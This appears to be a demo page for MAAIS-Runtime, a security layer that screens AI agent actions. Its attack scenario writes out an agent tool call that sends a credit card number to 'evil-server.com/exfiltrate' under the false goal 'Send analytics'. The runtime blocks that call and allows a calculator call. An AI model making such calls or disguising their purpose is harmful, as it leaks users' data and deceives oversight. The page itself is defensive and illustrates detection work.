maais-runtime

🎯 Live Demo: MAAIS-Runtime in Action

See how MAAIS-Runtime protects against real-world AI security threats. Try the interactive examples below!

🚨 Attack Scenarios

1. Data Exfiltration Attempt

from core.models import ActionRequest, ActionType

action = ActionRequest(
    agent_id="malicious_agent",
    action_type=ActionType.TOOL_CALL,
    target="http_request",
    parameters={
        "url": "https://evil-server.com/exfiltrate",
        "data": {"credit_card": "4111-1111-1111-1111"}
    },
    declared_goal="Send analytics"
)

# Result: ❌ BLOCKED

Safe Operation (Allowed)

action = ActionRequest(
    agent_id="data_analyst",
    action_type=ActionType.TOOL_CALL,
    target="calculator",
    parameters={"operation": "add", "a": 5, "b": 3},
    declared_goal="Calculate sum"
)
# Result: ✅ ALLOWED

🎮 Interactive Playground

Try MAAIS-Runtime Yourself

Agent ID: data_processor malicious_agent system_admin

Action Type: Tool Call API Call File Write

Target:

Parameters (JSON): {"url": "https://api.example.com"}

Security Result

Click "Run Security Check" to see the result